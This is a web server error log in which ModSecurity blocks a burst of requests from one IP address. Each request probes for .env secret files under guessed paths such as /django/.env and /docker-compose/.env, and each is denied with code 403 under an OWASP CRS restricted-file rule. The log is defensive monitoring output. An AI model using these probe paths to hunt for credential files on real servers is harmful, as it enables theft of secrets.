[Wed Feb 25 06:05:01.534419 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWygAAAAI&quot;]
[Wed Feb 25 06:05:01.534625 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWygAAAAI&quot;]
[Wed Feb 25 06:05:01.536377 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django-blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOgAAAAQ&quot;]
[Wed Feb 25 06:05:01.536634 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOgAAAAQ&quot;]
[Wed Feb 25 06:05:01.536797 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOgAAAAQ&quot;]
[Wed Feb 25 06:05:01.558394 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containers/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWywAAAAI&quot;]
[Wed Feb 25 06:05:01.558674 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWywAAAAI&quot;]
[Wed Feb 25 06:05:01.558870 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWywAAAAI&quot;]
[Wed Feb 25 06:05:01.580549 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOwAAAAQ&quot;]
[Wed Feb 25 06:05:01.580851 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOwAAAAQ&quot;]
[Wed Feb 25 06:05:01.581032 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOwAAAAQ&quot;]
[Wed Feb 25 06:05:01.598972 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzAAAAAI&quot;]
[Wed Feb 25 06:05:01.599244 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzAAAAAI&quot;]
[Wed Feb 25 06:05:01.599443 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzAAAAAI&quot;]
[Wed Feb 25 06:05:01.662226 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /control/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzQAAAAI&quot;]
[Wed Feb 25 06:05:01.662539 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzQAAAAI&quot;]
[Wed Feb 25 06:05:01.662755 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzQAAAAI&quot;]
[Wed Feb 25 06:05:01.693825 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django_project_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPAAAAAQ&quot;]
[Wed Feb 25 06:05:01.694103 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPAAAAAQ&quot;]
[Wed Feb 25 06:05:01.694313 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPAAAAAQ&quot;]
[Wed Feb 25 06:05:01.732385 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPQAAAAQ&quot;]
[Wed Feb 25 06:05:01.732683 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPQAAAAQ&quot;]
[Wed Feb 25 06:05:01.732861 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPQAAAAQ&quot;]
[Wed Feb 25 06:05:01.740083 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzgAAAAI&quot;]
[Wed Feb 25 06:05:01.740328 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzgAAAAI&quot;]
[Wed Feb 25 06:05:01.740492 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzgAAAAI&quot;]
[Wed Feb 25 06:05:01.817569 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPwAAAAQ&quot;]
[Wed Feb 25 06:05:01.817857 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPwAAAAQ&quot;]
[Wed Feb 25 06:05:01.818032 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXPwAAAAQ&quot;]
[Wed Feb 25 06:05:01.889693 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzwAAAAI&quot;]
[Wed Feb 25 06:05:01.889989 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzwAAAAI&quot;]
[Wed Feb 25 06:05:01.890183 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWzwAAAAI&quot;]
[Wed Feb 25 06:05:01.897974 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXQAAAAAQ&quot;]
